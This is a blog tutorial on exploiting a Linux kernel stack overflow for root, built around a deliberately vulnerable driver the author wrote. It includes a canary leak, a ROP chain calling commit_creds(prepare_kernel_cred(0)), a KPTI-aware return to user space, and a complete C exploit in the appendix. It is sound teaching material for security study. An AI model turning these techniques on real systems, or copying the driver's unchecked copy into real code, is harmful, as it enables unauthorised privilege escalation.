Dr Silvio Cesare
@silviocesare
@silviocesare
Summary
In this
blog post I’ll discuss how to exploit the Linux kernel via a stack smashing
attack. I’ll be attacking the latest kernel version. I’ll also introduce a
vulnerable device driver that I wrote so that I can focus on the exploitation
development and not the vulnerability research.
A number of
mitigations were introduced in recent years, such as Kernel Page Table
Isolation and control register pinning, which makes some previous techniques
obsolete. Techniques like ret2usr no longer work. But regardless, I am able to privesc
and gain a rootshell.
An overview of the attack
The attack
can be split up into a number of stages:
·
Defeat
KASLR
·
Leak
the stack canary
·
Stack
smash and overwrite the canary and return address to trigger a ROP chain
·
ROP
to change the current creds to UID 0
·
ROP
into the code that returns from a system call and continues execution in user
space
·
Continue
execution in user space and exec a shell now running at UID 0
It’s hard
to disable SMEP/SMAP on the latest kernels so we’ll avoid that in our exploit.
That is, we don’t have to disable SMEP/SMAP for the above exploit to work.
The vulnerable device driver
I’m going
to provide primitives for leaking the stack canary in my vulnerable device
driver. The way I do this is by providing an IOCTL to the device I create.
const char *device_name = "/dev/vuln_device";
unsigned long canary;
int fd;
fd = open(device_name, O_RDWR);
if (ioctl(fd, ARB_GET_CANARY, &arg)
!= 0) {
fprintf(stderr, "error:
ioctl\n");
exit(1);
}
canary = arg.value;
I’m also going to disable KASLR with the nokaslr kernel boot time options. Of course, my vulnerable device driver has a kernel stack overflow that I can trigger. The way I do this is by opening up the device file in /dev and simply writing to it. There isn’t any bounds checking and the buffer that is written is copied onto the stack. Here is the kernel code that does that:
static ssize_t arb_rw_write(struct file
*filp,
const char __user *buf, size_t len, loff_t *off)
{
char stack_buf[16];
char *p;
p = kmalloc(len, GFP_KERNEL);
copy_from_user(p, buf, len);
unsafe_memcpy(stack_buf, p, len);
return len;
}
Exploitation
The exploit simply overwrites the stack canary with the correct value then overwrites the return address with the beginning of a ROP chain. The first part of the exploit looks like this:
int main(int argc, char
*argv[])
{
struct arb_rw_arg_s arg = { 0, 0 };
const char *device_name = "/dev/vuln_device";
unsigned long canary;
int fd;
unsigned long ropchain[20];
fd = open(device_name, O_RDWR);
if (ioctl(fd, ARB_GET_CANARY, &arg)
!= 0) {
fprintf(stderr, "error:
ioctl\n");
exit(1);
}
canary = arg.value;
save_status(); // shown later
printf("Canary: 0x%lx\n",
canary);
ropchain[0] = 0x4142434445464748;
ropchain[1] = 0x4142434445464748;
ropchain[2] = canary;
ropchain[3] = 0x41;
ropchain[4] = 0x41;
ropchain[5] = 0x41;
ropchain[6] = 0x41;
ropchain[7] = pop_rdi; // return
address
The address
at ropchain[7] is the return address. This begins our ROP chain.
What we are
going to use to privesc is the following code once the ROP chain is complete
commit_creds(prepare_kernel_cred(0));
To find the
address of these functions, I was using gdb on the kernel image (vmlinux). To
build the ROP gadgets I ran ropper on the image. It took about 20G of memory
and about 10-15 minutes to build gadgets. I ran the kernel inside QEMU with
kernel debugging. It was essential to have a good debugging environment to
single step through the ROP chain and debug what was going on.
To ROP the
privesc code, we need the following. Note the gadget we use to move the return
value of prepare_kernel_cred into the argument for commit_creds. On some kernel
versions, this gadget isn’t directly available, so I’ve had to use other
variants in the past.
unsigned long
commit_creds = 0xffffffff810be110;
unsigned long
prepare_kernel_cred = 0xffffffff810be580;
// xchg rax, rdi; ret
unsigned long
move_rax_to_rdi = 0xffffffff81918e14;
// pop rdi; ret;
unsigned long
pop_rdi = 0xffffffff81083470;
ropchain[7] = pop_rdi;
ropchain[8] = 0x0;
ropchain[9] = prepare_kernel_cred;
ropchain[10] = move_rax_to_rdi;
ropchain[11] = commit_creds;
The remaining
part of our ROP chain is to return execution in user mode. Let’s look at code
in arch/x86/entry/entry_64.S
SYM_INNER_LABEL(swapgs_restore_regs_and_return_to_usermode,
SYM_L_GLOBAL)
#ifdef CONFIG_DEBUG_ENTRY
/* Assert that
pt_regs indicates user mode. */
testb $3, CS(%rsp)
jnz 1f
ud2
1:
#endif
POP_REGS pop_rdi=0
/*
* The stack is
now user RDI, orig_ax, RIP, CS, EFLAGS, RSP, SS.
* Save old stack
pointer and switch to trampoline stack.
*/
movq %rsp, %rdi
movq PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp
/* Copy the IRET
frame to the trampoline stack. */
pushq 6*8(%rdi) /* SS */
pushq 5*8(%rdi) /* RSP */
pushq 4*8(%rdi) /* EFLAGS */
pushq 3*8(%rdi) /* CS */
pushq 2*8(%rdi) /* RIP */
/* Push user RDI
on the trampoline stack. */
pushq (%rdi)
/*
* We are on the
trampoline stack. All regs except RDI
are live.
* We can do
future final exit work right here.
*/
STACKLEAK_ERASE_NOCLOBBER
SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi
/* Restore RDI. */
popq %rdi
SWAPGS
INTERRUPT_RETURN
|
We are
going to ROP/return so the code we execute is mov %rsp, %rdi. This will do the
appropriate code to handle kernel page table isolation and continue usermode
code execution. In the following code we will set &shell to be the code
which in usermode execs a shell.
Once we
build the ROP chain we write our buffer to the device and the kernel stack is
smashed and exploited.
ropchain[12] = iret_back_to_user_mode;
ropchain[13] = 0x0; // user_rdi
ropchain[14] = 0x0; // orig_eax
ropchain[15] = (unsigned
long)&shell;
ropchain[16] = ucs;
ropchain[17] = urflags;
ropchain[18] = ursp;
ropchain[19] = uss;
write(fd, &ropchain[0],
20*sizeof(unsigned long));
exit(1); // not reached
Conclusion
I presented techniques for stack smashing on the latest Linux kernel. The techniques don't require a bypass for SMEP/SMAP.Appendix
The complete exploit is as follows:#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include "vuln_driver.h"
static void
shell(void)
{
execl("/bin/bash", "/bin/bash", NULL);
}
static uint64_t ucs, uss, ursp, urflags;
static void
save_status(void)
{
asm volatile ("mov %cs, ucs");
asm volatile ("mov %ss, uss");
asm volatile ("mov %rsp, ursp");
asm volatile ("pushf");
asm volatile ("pop urflags");
}
unsigned long commit_creds = 0xffffffff810be110;
unsigned long prepare_kernel_cred = 0xffffffff810be580;
// 0xffffffff81c00aa7
unsigned long swapgs_iretq = 0xffffffff81c00a8a;
// 0xffffffff81918e14: xchg rax, rdi; ret
unsigned long move_rax_to_rdi = 0xffffffff81918e14;
// 0xffffffff812faf07: xor esi, esi; ret;
unsigned long xor_esi_esi = 0xffffffff812faf07;
// 0xffffffff81083470: pop rdi; ret;
unsigned long pop_rdi = 0xffffffff81083470;
int
main(int argc, char *argv[])
{
struct arb_rw_arg_s arg = { 0, 0 };
const char *device_name = "/dev/vuln_device";
unsigned long canary;
int fd;
unsigned long ropchain[20];
fd = open(device_name, O_RDWR);
if (ioctl(fd, ARB_GET_CANARY, &arg) != 0) {
fprintf(stderr, "error: ioctl\n");
exit(1);
}
canary = arg.value;
save_status();
printf("Canary: 0x%lx\n", canary);
ropchain[0] = 0x4142434445464748;
ropchain[1] = 0x4142434445464748;
ropchain[2] = canary;
ropchain[3] = 0x41;
ropchain[4] = 0x41;
ropchain[5] = 0x41;
ropchain[6] = 0x41;
ropchain[7] = pop_rdi;
ropchain[8] = 0x0;
ropchain[9] = prepare_kernel_cred;
ropchain[10] = move_rax_to_rdi;
ropchain[11] = commit_creds;
ropchain[12] = swapgs_iretq;
ropchain[13] = 0x0; // user_rdi
ropchain[14] = 0x0; // orig_eax
ropchain[15] = (unsigned long)&shell;
ropchain[16] = ucs;
ropchain[17] = urflags;
ropchain[18] = ursp;
ropchain[19] = uss;
write(fd, &ropchain[0], 20*sizeof(unsigned long));
exit(1);
}